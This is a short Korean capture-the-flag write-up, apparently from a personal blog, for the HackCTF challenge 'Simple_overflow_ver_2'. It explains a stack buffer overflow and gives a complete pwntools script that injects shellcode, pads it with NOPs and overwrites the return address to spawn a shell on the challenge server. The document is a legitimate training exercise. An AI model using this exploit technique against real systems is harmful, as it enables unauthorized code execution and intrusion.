취약점을 찾기 위해 IDA 로 뜯어보면
이렇게 나온다.
C 코드만 보고 한번에 알아내긴 힘드니까 한번 실행해본다.
실행 결과랑 코드를 같이 봐 보면
입력받은 값을 s 배열에 저장해서 주소값과 함께 출력하는것 같다.
보호기법도 적용되어 있지 않으니 s 에 쉘코드를 넣고 빈 부분을 \x90 으로 채운 뒤 RET에 s의 주소를 넣어주면 되겠다.
그래서 코드를 짜 보면
from pwn import *
#r = process("./Simple_overflow_ver_2")
r = remote("ctf.j0n9hyun.xyz", 3006)
context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())
print(r.recvuntil(": "))
r.sendline("test")
addr = int(r.recv(8+2), 16)
r.sendline('y')
payload = shell
payload += b'\x90'*(0x88 + 4 - len(shell))
payload += p32(addr)
r.sendline(payload)
r.interactive()
이렇게 된다.
728x90
'해킹 > writeup' 카테고리의 다른 글
7. HackCTF - 내 버퍼가 흘러넘친다!!! (0) | 2021.07.11 |
---|---|
6. DreamHack - basic_exploitation_000 (0) | 2021.07.11 |
4. HackCTF - x64 Buffer Overflow (0) | 2021.06.16 |
3. HackCTF - Basic_BOF #2 (0) | 2021.06.16 |
2. HackCTF - Basic_BOF #1 (0) | 2021.06.16 |